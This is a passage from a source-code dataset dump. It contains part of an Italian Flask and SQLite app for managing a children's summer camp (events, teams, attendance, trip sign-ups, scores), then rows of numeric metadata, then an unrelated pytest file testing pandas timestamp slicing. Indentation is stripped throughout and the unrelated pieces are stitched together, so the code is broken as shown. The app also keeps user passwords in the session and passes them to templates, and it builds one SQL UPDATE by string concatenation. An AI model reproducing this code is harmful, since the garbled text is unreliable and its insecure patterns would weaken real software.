database = sqlite3.connect(path)
database.execute("PRAGMA foreign_keys = 1")
cursor = database.cursor()
# inserisco evento se non già inserito
try:
cursor.execute(
"INSERT INTO EVENTO VALUES (?,?,?,?,?,?,?);",
[tipoGioco, luogo, date, time, descrizione, punteggio, session['matricola']])
cursor.fetchall()
database.commit()
except:
flash("Attenzione: gioco già inserito!")
finally:
database.close()
database = sqlite3.connect(path)
database.execute("PRAGMA foreign_keys = 1")
cursor = database.cursor()
try:
cursor.execute("SELECT Nome FROM SQUADRA")
rows = cursor.fetchall()
for squadra in rows:
if request.form.get(squadra[0]) == "on":
partecipa = True;
else:
partecipa = False
cursor = database.cursor()
# inserisco partecipazione se non già inserita
if partecipa == True:
cursor.execute("INSERT INTO PARTECIPA VALUES (?,?,?,?,?);",
[squadra[0], tipoGioco, luogo, date, time])
cursor.fetchall()
database.commit()
except:
flash("Attenzione: Almeno un squadra già partecipa all'evento")
finally:
database.close()
if 'leader' in session:
database = sqlite3.connect(path)
cursor = database.cursor()
cursor.execute("SELECT Nome FROM SQUADRA")
listsquadre = cursor.fetchall()
return render_template("formCreaGioco.html", usernamesession=session['nome'] + " " + session
['cognome'], totalepartecipanti=(
totale_leader + totale_segretarie + totale_esterni + totale_responsabili + totale_animatori + totale_bambini),
totaleleader=totale_leader, totalesegretarie=totale_segretarie,
totaleresponsabili=totale_responsabili,
totaleesterni=totale_esterni, totaleanimatori=totale_animatori,
totalebambini=totale_bambini, listsquadre=listsquadre)
else:
return redirect(url_for('login'))
@app.route('/formCreaLaboratorio', methods=['GET', 'POST'])
def form_crea_laboratorio():
if request.method == 'POST':
tipoLab = request.form['tipoLab']
luogo = request.form['luogo']
date = request.form['date']
time = request.form['time']
descrizione = request.form['descrizione']
if str(request.form['nomeesterno']) != "":
esterno = str(request.form['nomeesterno']).split()[0].lstrip()
database = sqlite3.connect(path)
database.execute("PRAGMA foreign_keys = 1")
cursor = database.cursor()
# inserisco evento se non già presente
try:
cursor.execute(
"INSERT INTO EVENTO VALUES (?,?,?,?,?,?,?);",
[tipoLab, luogo, date, time, descrizione, 'NULL', session['matricola']])
if str(request.form['nomeesterno']) != "":
cursor.execute(
"INSERT INTO GESTISCE(MatrEsterno,TipoEvento,Luogo,Data, Ora) VALUES (?,?,?,?,?);",
[esterno, tipoLab, luogo, date, time])
cursor.fetchall()
database.commit()
except:
flash("Attenzione: laboratorio già inserito!")
finally:
database.close()
database = sqlite3.connect(path)
database.execute("PRAGMA foreign_keys = 1")
cursor = database.cursor()
try:
cursor.execute("SELECT Nome FROM SQUADRA")
rows = cursor.fetchall()
for squadra in rows:
if request.form.get(squadra[0]) == "on":
partecipa = True;
else:
partecipa = False
cursor = database.cursor()
# inserisco partecipazione se non già inserita
if partecipa == True:
cursor.execute("INSERT INTO PARTECIPA VALUES (?,?,?,?,?);",
[squadra[0], tipoLab, luogo, date, time])
cursor.fetchall()
database.commit()
except:
flash("Attenzione: Almeno un squadra già partecipa all'evento")
finally:
database.close()
if 'leader' in session:
database = sqlite3.connect(path)
cursor = database.cursor()
cursor.execute(
"SELECT Matricola,Nome,Cognome FROM PERSONALE WHERE Ruolo = 'esterno'")
listesterni = cursor.fetchall()
cursor.execute("SELECT Nome FROM SQUADRA")
listsquadre = cursor.fetchall()
database.close()
return render_template("formCreaLaboratorio.html", usernamesession=session['nome'] + " " + session
['cognome'], totalepartecipanti=(
totale_leader + totale_segretarie + totale_esterni + totale_responsabili + totale_animatori + totale_bambini),
totaleleader=totale_leader, totalesegretarie=totale_segretarie,
totaleresponsabili=totale_responsabili,
totaleesterni=totale_esterni, totaleanimatori=totale_animatori,
totalebambini=totale_bambini, listesterni=listesterni, listsquadre=listsquadre)
else:
return redirect(url_for('login'))
@app.route('/formCreaSquadra', methods=['GET', 'POST'])
def form_crea_squadra():
if request.method == 'POST':
nomesquadra = request.form['nomesquadra']
coloresquadra = request.form['coloresquadra']
mottosquadra = request.form['mottosquadra']
database = sqlite3.connect(path)
database.execute("PRAGMA foreign_keys = 1")
cursor = database.cursor()
try:
cursor.execute(
"INSERT INTO SQUADRA(Nome,Colore,Motto) VALUES (?,?,?);",
[nomesquadra, coloresquadra, mottosquadra])
cursor.fetchall()
database.commit()
except:
flash("Attenzione: Squadra già inserita!")
finally:
database.close()
if 'leader' in session:
return render_template("formCreaSquadra.html", usernamesession=session['nome'] + " " + session
['cognome'], totalepartecipanti=(
totale_leader + totale_segretarie + totale_esterni + totale_responsabili + totale_animatori + totale_bambini),
totaleleader=totale_leader,
totalesegretarie=totale_segretarie,
totaleresponsabili=totale_responsabili,
totaleesterni=totale_esterni,
totaleanimatori=totale_animatori,
totalebambini=totale_bambini)
else:
return redirect(url_for('login'))
@app.route('/formAggiungiMovimento', methods=['GET', 'POST'])
def form_aggiungi_movimento():
if request.method == 'POST':
tipoEvento = request.form['tipoEvento']
descrizione = request.form['descrizione']
valore = request.form['valore']
if float(valore) >= 0:
inout = 1
else:
inout = 0
idEvento = set_id_evento(tipoEvento)
database = sqlite3.connect(path)
database.execute("PRAGMA foreign_keys = 1")
cursor = database.cursor()
try:
cursor.execute(
"INSERT INTO MOVIMENTO(TipoEvento,Luogo,Data, Ora, Descrizione, Valore, Inout, MatrSegretaria) VALUES (?,?,?,?,?,?,?,?);",
[idEvento, str(tipoEvento).split(",")[1].lstrip(), str(tipoEvento).split(",")[2].lstrip(),
str(tipoEvento).split(",")[3].lstrip(),
descrizione, abs(float(valore)), inout, session['matricola']])
database.commit()
except:
flash("Attenzione: Errore!")
finally:
database.close()
if 'segretaria' in session:
database = sqlite3.connect(path)
cursor = database.cursor()
cursor.execute(
"SELECT TipoEvento, Luogo, Data, Ora, Descrizione FROM EVENTO ORDER BY Data ASC, Ora ASC")
listeventi = cursor.fetchall()
database.close()
return render_template("formAggiungiMovimento.html", usernamesession=session['nome'] + " " + session
['cognome'], totalepartecipanti=(
totale_leader + totale_segretarie + totale_esterni + totale_responsabili + totale_animatori + totale_bambini),
totaleleader=totale_leader,
totalesegretarie=totale_segretarie,
totaleresponsabili=totale_responsabili,
totaleesterni=totale_esterni,
totaleanimatori=totale_animatori,
totalebambini=totale_bambini,
listeventi=listeventi)
else:
return redirect(url_for('login'))
@app.route('/tabellaMovimenti', methods=['GET'])
def tabella_movimenti():
if 'segretaria' in session:
database = sqlite3.connect(path)
cursor = database.cursor()
cursor.execute(
"SELECT TipoEvento, Luogo, Data, Ora, Descrizione,Valore,InOut,MatrSegretaria FROM MOVIMENTO ORDER BY Data ASC, Ora ASC")
listmovimenti = cursor.fetchall()
database.close()
return render_template("tabellaMovimenti.html", usernamesession=session['nome'] + " " + session
['cognome'], totalepartecipanti=(
totale_leader + totale_segretarie + totale_esterni + totale_responsabili + totale_animatori + totale_bambini),
totaleleader=totale_leader,
totalesegretarie=totale_segretarie,
totaleresponsabili=totale_responsabili,
totaleesterni=totale_esterni,
totaleanimatori=totale_animatori,
totalebambini=totale_bambini,
listmovimenti=listmovimenti)
else:
return redirect(url_for('login'))
@app.route('/formAssegnaArbitraggio', methods=['GET', 'POST'])
def assegna_arbitraggio():
if request.method == 'POST':
giocoselezionato = request.form['nomegioco']
responsabileselezionato = str(request.form['nomeresponsabile']).split()[0].lstrip()
idEvento = set_id_evento(giocoselezionato)
database = sqlite3.connect(path)
database.execute("PRAGMA foreign_keys = 1")
cursor = database.cursor()
try:
cursor.execute(
"INSERT INTO ARBITRA(MatrResponsabile,TipoEvento,Luogo,Data, Ora) VALUES (?,?,?,?,?);",
[responsabileselezionato, idEvento, str(giocoselezionato).split(",")[1].lstrip(),
str(giocoselezionato).split(",")[2].lstrip(), str(giocoselezionato).split(",")[3].lstrip()])
database.commit()
except Exception as e:
flash("Attenzione: Arbitraggio già inserito!")
finally:
database.close()
if 'leader' in session:
database = sqlite3.connect(path)
cursor = database.cursor()
cursor.execute(
"SELECT TipoEvento, Luogo, Data, Ora, Descrizione FROM EVENTO WHERE MatrLeader = ? and CAST(TipoEvento as INTEGER) > 100 and CAST(TipoEvento as INTEGER) < 201 ORDER BY Data ASC, Ora ASC",
[session['matricola']])
listgiochi = cursor.fetchall()
cursor = database.cursor()
cursor.execute(
"SELECT Matricola,Nome,Cognome FROM PERSONALE WHERE Ruolo = 'responsabile'")
listresponsabili = cursor.fetchall()
database.close()
return render_template("formAssegnaArbitraggio.html", usernamesession=session['nome'] + " " + session
['cognome'], totalepartecipanti=(
totale_leader + totale_segretarie + totale_esterni + totale_responsabili + totale_animatori + totale_bambini),
totaleleader=totale_leader,
totalesegretarie=totale_segretarie,
totaleresponsabili=totale_responsabili,
totaleesterni=totale_esterni,
totaleanimatori=totale_animatori,
totalebambini=totale_bambini,
listresponsabili=listresponsabili,
listgiochi=listgiochi)
else:
return redirect(url_for('login'))
@app.route('/formAggiungiAppello', methods=['GET', 'POST'])
def form_aggiungi_appello():
if request.method == 'POST':
data = request.form['date']
database = sqlite3.connect(path)
database.execute("PRAGMA foreign_keys = 1")
cursor = database.cursor()
if 'animatore' in session:
cursor.execute("SELECT Matricola FROM BAMBINO WHERE NomeSquadra = ?", [session['nomeSquadra']])
elif 'responsabile' in session:
cursor.execute("SELECT Matricola FROM ANIMATORE WHERE MatrResponsabile = ?", [session['matricola']])
rows = cursor.fetchall()
try:
for matricola in rows:
if request.form.get(matricola[0]) == "on":
presente = 1;
else:
presente = 0
cursor = database.cursor()
# inserisco appello se non già inserito
if 'animatore' in session:
cursor.execute(
"INSERT INTO APPELLOBAMBINO VALUES (?,?,?);",
[matricola[0], data, presente])
elif 'responsabile' in session:
cursor.execute(
"INSERT INTO APPELLOANIMATORE VALUES (?,?,?);",
[matricola[0], data, presente])
cursor.fetchall()
database.commit()
except:
flash("Attenzione: Appello già compilato per questa giornata!")
finally:
database.close()
if 'animatore' in session:
database = sqlite3.connect(path)
cursor = database.cursor()
cursor.execute(
"SELECT Matricola, Nome, Cognome FROM BAMBINO WHERE NomeSquadra = ?", [session['nomeSquadra']])
rows = cursor.fetchall()
database.close()
return render_template("formAggiungiAppello.html", usernamesession=session['nome'] + " " + session
['cognome'], matricola=session['matricola'], password=session['password'], nome=session['nome'],
cognome=session['cognome'], email=session['email'], data=session['dataNascita'],
indirizzo=session['indirizzo'],
telefono=session['numTelefono'], cellulare=session['numCellulare'], totalepartecipanti=(
totale_leader + totale_segretarie + totale_esterni + totale_responsabili + totale_animatori + totale_bambini),
totaleleader=totale_leader,
totalesegretarie=totale_segretarie,
totaleresponsabili=totale_responsabili,
totaleesterni=totale_esterni,
totaleanimatori=totale_animatori,
totalebambini=totale_bambini,
bambini=rows,
tipologia=session['nomeSquadra'])
elif 'responsabile' in session:
database = sqlite3.connect(path)
cursor = database.cursor()
cursor.execute(
"SELECT Matricola, Nome, Cognome FROM ANIMATORE WHERE MatrResponsabile = ?", [session['matricola']])
rows = cursor.fetchall()
database.close()
return render_template("formAggiungiAppello.html", usernamesession=session['nome'] + " " + session
['cognome'], matricola=session['matricola'], password=session['password'], nome=session['nome'],
cognome=session['cognome'], email=session['email'], data=session['dataNascita'],
indirizzo=session['indirizzo'],
telefono=session['numTelefono'], cellulare=session['numCellulare'], totalepartecipanti=(
totale_leader + totale_segretarie + totale_esterni + totale_responsabili + totale_animatori + totale_bambini),
totaleleader=totale_leader,
totalesegretarie=totale_segretarie,
totaleresponsabili=totale_responsabili,
totaleesterni=totale_esterni,
totaleanimatori=totale_animatori,
totalebambini=totale_bambini,
bambini=rows,
tipologia="Animatori")
else:
return redirect(url_for('login'))
@app.route('/formMostraAppello', methods=['GET', 'POST'])
def form_mostra_appello():
if request.method == 'POST':
data = request.form['date']
database = sqlite3.connect(path)
cursor = database.cursor()
if 'animatore' in session:
cursor.execute(
"SELECT A.IdBambino, B.Nome, B.Cognome, A.Presenza FROM BAMBINO B JOIN APPELLOBAMBINO A ON (A.IdBambino = B.Matricola) WHERE A.Data = ?",
[data])
tipologia = session['nomeSquadra']
elif 'responsabile' in session:
cursor.execute(
"SELECT A.IdAnimatore, B.Nome, B.Cognome, A.Presenza FROM ANIMATORE B JOIN APPELLOANIMATORE A ON (A.IdAnimatore = B.Matricola) WHERE B.MatrResponsabile = ? AND A.Data = ?",
[session['matricola'], data])
tipologia = "Animatori"
elif 'leader' in session:
cursor.execute(
"SELECT A.IdPersonale, Nome, Cognome, Presenza FROM APPELLOPERSONALE A JOIN PERSONALE P ON A.IdPersonale = P.Matricola WHERE A.Data = ? ",
[data])
tipologia = "Personale"
rows = cursor.fetchall()
database.close()
return render_template("formMostraAppello.html", usernamesession=session['nome'] + " " + session
['cognome'], matricola=session['matricola'], password=session['password'], nome=session['nome'],
cognome=session['cognome'], email=session['email'], data=session['dataNascita'],
indirizzo=session['indirizzo'],
telefono=session['numTelefono'], cellulare=session['numCellulare'], totalepartecipanti=(
totale_leader + totale_segretarie + totale_esterni + totale_responsabili + totale_animatori + totale_bambini),
totaleleader=totale_leader,
totalesegretarie=totale_segretarie,
totaleresponsabili=totale_responsabili,
totaleesterni=totale_esterni,
totaleanimatori=totale_animatori,
totalebambini=totale_bambini,
bambini=rows,
tipologia=tipologia)
if 'animatore' in session:
return render_template("formMostraAppello.html", usernamesession=session['nome'] + " " + session
['cognome'], matricola=session['matricola'], password=session['password'], nome=session['nome'],
cognome=session['cognome'], email=session['email'], data=session['dataNascita'],
indirizzo=session['indirizzo'],
telefono=session['numTelefono'], cellulare=session['numCellulare'], totalepartecipanti=(
totale_leader + totale_segretarie + totale_esterni + totale_responsabili + totale_animatori + totale_bambini),
totaleleader=totale_leader,
totalesegretarie=totale_segretarie,
totaleresponsabili=totale_responsabili,
totaleesterni=totale_esterni,
totaleanimatori=totale_animatori,
totalebambini=totale_bambini,
tipologia=session['nomeSquadra'])
elif 'responsabile' in session:
return render_template("formMostraAppello.html", usernamesession=session['nome'] + " " + session
['cognome'], matricola=session['matricola'], password=session['password'], nome=session['nome'],
cognome=session['cognome'], email=session['email'], data=session['dataNascita'],
indirizzo=session['indirizzo'],
telefono=session['numTelefono'], cellulare=session['numCellulare'], totalepartecipanti=(
totale_leader + totale_segretarie + totale_esterni + totale_responsabili + totale_animatori + totale_bambini),
totaleleader=totale_leader,
totalesegretarie=totale_segretarie,
totaleresponsabili=totale_responsabili,
totaleesterni=totale_esterni,
totaleanimatori=totale_animatori,
totalebambini=totale_bambini,
tipologia="Animatori"
)
elif 'leader' in session:
return render_template("formMostraAppello.html", usernamesession=session['nome'] + " " + session
['cognome'], matricola=session['matricola'], password=session['password'], nome=session['nome'],
cognome=session['cognome'], email=session['email'], data=session['dataNascita'],
indirizzo=session['indirizzo'],
telefono=session['numTelefono'], cellulare=session['numCellulare'], totalepartecipanti=(
totale_leader + totale_segretarie + totale_esterni + totale_responsabili + totale_animatori + totale_bambini),
totaleleader=totale_leader,
totalesegretarie=totale_segretarie,
totaleresponsabili=totale_responsabili,
totaleesterni=totale_esterni,
totaleanimatori=totale_animatori,
totalebambini=totale_bambini,
tipologia="Personale"
)
else:
return redirect(url_for('login'))
@app.route('/formInserisciIscrizioneGita', methods=['GET', 'POST'])
def form_iscrizione_gita():
if request.method == 'POST':
tipoEvento = request.form.get('gita')
idEvento = set_id_evento(tipoEvento)
dataiscrizione = request.form.get('dataiscrizione')
database = sqlite3.connect(path)
database.execute("PRAGMA foreign_keys = 1")
cursor = database.cursor()
try:
cursor.execute(
"INSERT INTO ISCRIZIONE(MatrBambino,TipoEvento,Luogo,Data, Ora, DataIscrizione) VALUES (?,?,?,?,?,?);",
[session['matricola'], idEvento, str(tipoEvento).split(",")[1].lstrip(),
str(tipoEvento).split(",")[2].lstrip(),
str(tipoEvento).split(",")[3].lstrip(), dataiscrizione])
database.commit()
except Exception as e:
flash("Attenzione: Errore! Iscrizione già inserita")
finally:
database.close()
if 'bambino' in session:
database = sqlite3.connect(path)
cursor = database.cursor()
cursor.execute("SELECT E.TipoEvento, E.Luogo, E.Data, E.Ora, E.Descrizione FROM EVENTO E JOIN "
"PARTECIPA P ON (P.TipoEvento, P.Luogo, P.Data,P.Ora) = (E.TipoEvento, E.Luogo, E.Data,E.Ora) "
"JOIN BAMBINO B ON B.NomeSquadra = P.NomeSquadra WHERE B.Matricola = ? AND CAST(E.TipoEvento as INTEGER) <101"
" AND (?,E.TipoEvento, E.Luogo, E.Data, E.Ora) NOT IN (SELECT I.MatrBambino,I.TipoEvento, I.Luogo, I.Data, I.Ora FROM ISCRIZIONE I) "
"ORDER BY E.Data ASC, E.Ora ASC",
[session['matricola'], session['matricola']])
listgite = cursor.fetchall()
database.close()
return render_template("formInserisciIscrizioneGita.html", usernamesession=session['nome'] + " " + session
['cognome'], matricola=session['matricola'], password=session['password'], nome=session['nome'],
cognome=session['cognome'], email=session['email'], data=session['dataNascita'],
indirizzo=session['indirizzo'],
telefono=session['numTelefono'], cellulare=session['numCellulare'], totalepartecipanti=(
totale_leader + totale_segretarie + totale_esterni + totale_responsabili + totale_animatori + totale_bambini),
totaleleader=totale_leader,
totalesegretarie=totale_segretarie,
totaleresponsabili=totale_responsabili,
totaleesterni=totale_esterni,
totaleanimatori=totale_animatori,
totalebambini=totale_bambini, listgite=listgite)
else:
return redirect(url_for('login'))
@app.route('/formAssegnaPunteggio', methods=['GET', 'POST'])
def form_assegna_punteggio():
if request.method == 'POST' and 'form_evento' in request.form:
tipoEvento = request.form['tipoEvento']
idEvento = set_id_evento(tipoEvento)
database = sqlite3.connect(path)
cursor = database.cursor()
cursor.execute("SELECT NomeSquadra FROM PARTECIPA WHERE TipoEvento = ? AND Luogo = ? AND Data = ? AND Ora = ?",
[idEvento, str(tipoEvento).split(",")[1].lstrip(), str(tipoEvento).split(",")[
2].lstrip(), str(tipoEvento).split(",")[3].lstrip()])
listsquadre = cursor.fetchall()
database.close()
return render_template("formAssegnaPunteggio.html", usernamesession=session['nome'] + " " + session
['cognome'], matricola=session['matricola'], password=session['password'], nome=session['nome'],
cognome=session['cognome'], email=session['email'], data=session['dataNascita'],
indirizzo=session['indirizzo'],
telefono=session['numTelefono'], cellulare=session['numCellulare'], totalepartecipanti=(
totale_leader + totale_segretarie + totale_esterni + totale_responsabili + totale_animatori + totale_bambini),
totaleleader=totale_leader,
totalesegretarie=totale_segretarie,
totaleresponsabili=totale_responsabili,
totaleesterni=totale_esterni,
totaleanimatori=totale_animatori,
totalebambini=totale_bambini,
listsquadre=listsquadre,
stato="getsquadre",
event=tipoEvento)
elif request.method == 'POST' and 'form_assegna' in request.form:
squadra = request.form['squadra']
tipoEvento = request.form['event']
idEvento = set_id_evento(tipoEvento)
database = sqlite3.connect(path)
cursor = database.cursor()
cursor.execute("SELECT Punteggio FROM EVENTO WHERE TipoEvento = ? AND Luogo = ? AND Data = ? AND Ora = ?",
[idEvento, str(tipoEvento).split(",")[1].lstrip(), str(tipoEvento).split(",")[
2].lstrip(), str(tipoEvento).split(",")[3].lstrip()])
punteggio = cursor.fetchone()
cursor = database.cursor()
cursor.execute(
"UPDATE SQUADRA SET PUNTEGGIO = PUNTEGGIO + " + str(punteggio[0]) + " WHERE Nome = ? ", [squadra])
cursor = database.cursor()
cursor.execute("UPDATE EVENTO SET Punteggio = 0 WHERE TipoEvento = ? AND Luogo = ? AND Data = ? AND Ora = ?",
[idEvento, str(tipoEvento).split(",")[1].lstrip(), str(tipoEvento).split(",")[
2].lstrip(), str(tipoEvento).split(",")[3].lstrip()])
database.commit()
database.close()
if 'responsabile' in session:
database = sqlite3.connect(path)
cursor = database.cursor()
cursor.execute(
"SELECT E.TipoEvento, E.Luogo, E.Data, E.Ora, E.Descrizione FROM ARBITRA A JOIN EVENTO E ON (E.TipoEvento, E.Luogo, E.Data, E.Ora)=(A.TipoEvento, A.Luogo, A.Data, A.Ora) WHERE A.MatrResponsabile = ? AND PUNTEGGIO > 0 ORDER BY E.Data ASC, E.Ora ASC",
[session['matricola']])
listgiochi = cursor.fetchall()
database.close()
return render_template("formAssegnaPunteggio.html", usernamesession=session['nome'] + " " + session
['cognome'], matricola=session['matricola'], password=session['password'], nome=session['nome'],
cognome=session['cognome'], email=session['email'], data=session['dataNascita'],
indirizzo=session['indirizzo'],
telefono=session['numTelefono'], cellulare=session['numCellulare'], totalepartecipanti=(
totale_leader + totale_segretarie + totale_esterni + totale_responsabili + totale_animatori + totale_bambini),
totaleleader=totale_leader,
totalesegretarie=totale_segretarie,
totaleresponsabili=totale_responsabili,
totaleesterni=totale_esterni,
totaleanimatori=totale_animatori,
totalebambini=totale_bambini,
listgiochi=listgiochi,
stato="geteventi")
else:
return redirect(url_for('login'))
@app.route('/formMostraClassifica', methods=['GET', 'POST'])
def form_mostra_classifica():
if 'responsabile' in session:
database = sqlite3.connect(path)
cursor = database.cursor()
cursor.execute("SELECT Nome, Punteggio FROM SQUADRA ORDER BY Punteggio DESC")
listsquadre = cursor.fetchall()
database.close()
return render_template("formMostraClassifica.html", usernamesession=session['nome'] + " " + session
['cognome'], matricola=session['matricola'], password=session['password'], nome=session['nome'],
cognome=session['cognome'], email=session['email'], data=session['dataNascita'],
indirizzo=session['indirizzo'],
telefono=session['numTelefono'], cellulare=session['numCellulare'], totalepartecipanti=(
totale_leader + totale_segretarie + totale_esterni + totale_responsabili + totale_animatori + totale_bambini),
totaleleader=totale_leader,
totalesegretarie=totale_segretarie,
totaleresponsabili=totale_responsabili,
totaleesterni=totale_esterni,
totaleanimatori=totale_animatori,
totalebambini=totale_bambini,
listsquadre=listsquadre)
else:
return redirect(url_for('login'))
@app.route('/formMostraAppelloGita', methods=['GET', 'POST'])
def form_mostra_appello_gita():
if request.method == 'POST':
tipoEvento = request.form['tipoEvento']
idEvento = set_id_evento(tipoEvento)
database = sqlite3.connect(path)
cursor = database.cursor()
cursor.execute(
"SELECT B.Matricola, B.Nome, B.Cognome, B.DataNascita, B.NumTelefono FROM BAMBINO B JOIN ISCRIZIONE I ON (B.Matricola) = (I.MatrBambino) WHERE I.TipoEvento = ? AND I.Luogo = ? AND I.Data = ? "
" AND I.Ora = ? AND B.NomeSquadra = ? ", [idEvento, str(tipoEvento).split(",")[1].lstrip(),
str(tipoEvento).split(",")[2].lstrip(),
str(tipoEvento).split(",")[3].lstrip(), session['nomeSquadra']])
listbimbi = cursor.fetchall()
cursor = database.cursor()
cursor.execute(
"SELECT TipoEvento, Luogo, Data, Ora FROM PARTECIPA WHERE NomeSquadra = ? AND CAST(TipoEvento as INTEGER) > 0 AND CAST(TipoEvento as INTEGER) < 101 ",
[session['nomeSquadra']])
listgite = cursor.fetchall()
database.close()
return render_template("formMostraAppelloGita.html", usernamesession=session['nome'] + " " + session
['cognome'], matricola=session['matricola'], password=session['password'], nome=session['nome'],
cognome=session['cognome'], email=session['email'], data=session['dataNascita'],
indirizzo=session['indirizzo'],
telefono=session['numTelefono'], cellulare=session['numCellulare'], totalepartecipanti=(
totale_leader + totale_segretarie + totale_esterni + totale_responsabili + totale_animatori + totale_bambini),
totaleleader=totale_leader,
totalesegretarie=totale_segretarie,
totaleresponsabili=totale_responsabili,
totaleesterni=totale_esterni,
totaleanimatori=totale_animatori,
totalebambini=totale_bambini,
listbimbi=listbimbi,
tipologia=session['nomeSquadra'],
tipo="MostraTab",
event=tipoEvento,
listgite=listgite)
if 'animatore' in session:
database = sqlite3.connect(path)
cursor = database.cursor()
cursor.execute(
"SELECT TipoEvento, Luogo, Data, Ora FROM PARTECIPA WHERE NomeSquadra = ? AND CAST(TipoEvento as INTEGER) > 0 AND CAST(TipoEvento as INTEGER) < 101",
[session['nomeSquadra']])
listgite = cursor.fetchall()
database.close()
return render_template("formMostraAppelloGita.html", usernamesession=session['nome'] + " " + session
['cognome'], matricola=session['matricola'], password=session['password'], nome=session['nome'],
cognome=session['cognome'], email=session['email'], data=session['dataNascita'],
indirizzo=session['indirizzo'],
telefono=session['numTelefono'], cellulare=session['numCellulare'], totalepartecipanti=(
totale_leader + totale_segretarie + totale_esterni + totale_responsabili + totale_animatori + totale_bambini),
totaleleader=totale_leader,
totalesegretarie=totale_segretarie,
totaleresponsabili=totale_responsabili,
totaleesterni=totale_esterni,
totaleanimatori=totale_animatori,
totalebambini=totale_bambini,
tipologia=session['nomeSquadra'],
listgite=listgite)
else:
return redirect(url_for('login'))
def set_id_evento(tipoEvento):
if str(tipoEvento).split(",")[0].__contains__("CUCINA"):
return "201"
elif str(tipoEvento).split(",")[0].__contains__("PITTURA"):
return "202"
elif str(tipoEvento).split(",")[0].__contains__("CIRCO"):
return "203"
elif str(tipoEvento).split(",")[0].__contains__("COMPITI"):
return "204"
elif str(tipoEvento).split(",")[0].__contains__("MUSICA"):
return "205"
elif str(tipoEvento).split(",")[0].__contains__("ALTRO LABORATORIO"):
return "206"
elif str(tipoEvento).split(",")[0].__contains__("CALCIO"):
return "101"
elif str(tipoEvento).split(",")[0].__contains__("PALLAVOLO"):
return "102"
elif str(tipoEvento).split(",")[0].__contains__("PALLA PRIGIONIERA"):
return "103"
elif str(tipoEvento).split(",")[0].__contains__("CACCIA AL TESORO"):
return "104"
elif str(tipoEvento).split(",")[0].__contains__("ALTRO GIOCO"):
return "105"
elif str(tipoEvento).split(",")[0].__contains__("GITA IN MONTAGNA"):
return "1"
elif str(tipoEvento).split(",")[0].__contains__("GITA AL MARE"):
return "2"
elif str(tipoEvento).split(",")[0].__contains__("GITA AL LAGO"):
return "3"
elif str(tipoEvento).split(",")[0].__contains__("GITA CULTURALE"):
return "4"
elif str(tipoEvento).split(",")[0].__contains__("ALTRA GITA"):
return "5"
app.run(host="127.0.0.1", port=5000)
| 47.297062
| 265
| 0.575726
| 7,798
| 86,932
| 6.330726
| 0.04873
| 0.050135
| 0.027954
| 0.030547
| 0.847935
| 0.829643
| 0.800231
| 0.767497
| 0.737092
| 0.727085
| 0
| 0.009777
| 0.30701
| 86,932
| 1,837
| 266
| 47.322809
| 0.809687
| 0.00773
| 0
| 0.742511
| 0
| 0.024219
| 0.23895
| 0.034228
| 0
| 0
| 0
| 0
| 0
| 1
| 0.01912
| false
| 0.039516
| 0.001912
| 0
| 0.079669
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
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| 1
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| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
f9e96ea5eb1857776a87e79a9b66938af603f9b7
| 2,048
|
py
|
Python
|
tests/check_data_slicing.py
|
bsgip/c3x-data
|
32e6973a0eeb3cd72d298734d7a2937dd369a456
|
[
"MIT"
] | 2
|
2021-04-17T03:55:04.000Z
|
2022-02-25T10:08:02.000Z
|
tests/check_data_slicing.py
|
bsgip/c3x-data
|
32e6973a0eeb3cd72d298734d7a2937dd369a456
|
[
"MIT"
] | null | null | null |
tests/check_data_slicing.py
|
bsgip/c3x-data
|
32e6973a0eeb3cd72d298734d7a2937dd369a456
|
[
"MIT"
] | 2
|
2021-03-15T09:18:22.000Z
|
2021-11-28T10:39:53.000Z
|
from c3e_data_preparation.preparation import cleaners
import pandas
def test_slicing_start_to_end():
timestamp_start = 1548155000
timestamp_end = 1548155800
data = pandas.DataFrame({'timestamp': [1548154800, 1548155000, 1548155200, 1548155400, 1548155600, 1548155800, 1548156000],
'Value': [32, 32, 45, 70, 90, 100, 110]})
data = data.set_index('timestamp')
cleaned = cleaners.slice_by_index(data, timestamp_start, timestamp_end)
assert len(cleaned) != len(data), "data was not removed"
assert len(cleaned) == 5, "not enough data removed"
def test_slicing_start():
timestamp_start = 1548155000
timestamp_end = 1548156200
data = pandas.DataFrame({'timestamp': [1548154800, 1548155000, 1548155200, 1548155400, 1548155600, 1548155800, 1548156000],
'Value': [32, 32, 45, 70, 90, 100, 110]})
data = data.set_index('timestamp')
cleaned = cleaners.slice_by_index(data, timestamp_start, timestamp_end)
assert len(cleaned) != len(data), "data was not removed"
assert len(cleaned) == 6, "not engough data removed"
def test_slicing_end():
timestamp_start = 154814000
timestamp_end = 1548155800
data = pandas.DataFrame({'timestamp': [1548154800, 1548155000, 1548155200, 1548155400, 1548155600, 1548155800, 1548156000],
'Value': [32, 32, 45, 70, 90, 100, 110]})
data = data.set_index('timestamp')
cleaned = cleaners.slice_by_index(data, timestamp_start, timestamp_end)
assert len(cleaned) != len(data), "data was not removed"
assert len(cleaned) == 6, "not engough data removed"
def test_slicing_both():
timestamp_start = 154814000
timestamp_end = 1548156200
data = pandas.DataFrame({'timestamp': [1548154800, 1548155000, 1548155200, 1548155400, 1548155600, 1548155800, 1548156000],
'Value': [32, 32, 45, 70, 90, 100, 110]})
data = data.set_index('timestamp')
cleaned = cleaners.slice_by_index(data, timestamp_start, timestamp_end)
assert len(cleaned) == len(data), "data was not removed"
| 37.925926
| 127
| 0.701172
| 247
| 2,048
| 5.651822
| 0.186235
| 0.080229
| 0.080229
| 0.080229
| 0.924785
| 0.839542
| 0.839542
| 0.839542
| 0.839542
| 0.839542
| 0
| 0.253874
| 0.180664
| 2,048
| 54
| 128
| 37.925926
| 0.578069
| 0
| 0
| 0.783784
| 0
| 0
| 0.118594
| 0
| 0
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| 0
| 0
| 0.189189
| 1
| 0.108108
| false
| 0
| 0.054054
| 0
| 0.162162
| 0
| 0
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| 0
| null | 0
| 0
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| 1
| 1
| 1
| 1
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| null | 0
| 0
| 0
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| 0
| 0
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| 0
| 0
| 0
| 0
|
0
| 8
|
ddc9adf736b9d914c713d806321fcc3b89f39118
| 4,664
|
py
|
Python
|
factories/rooms.py
|
joehowells/7drl2020
|
ec92c0870fb9ee975530d6a92c1b96634040ebc4
|
[
"MIT"
] | null | null | null |
factories/rooms.py
|
joehowells/7drl2020
|
ec92c0870fb9ee975530d6a92c1b96634040ebc4
|
[
"MIT"
] | 2
|
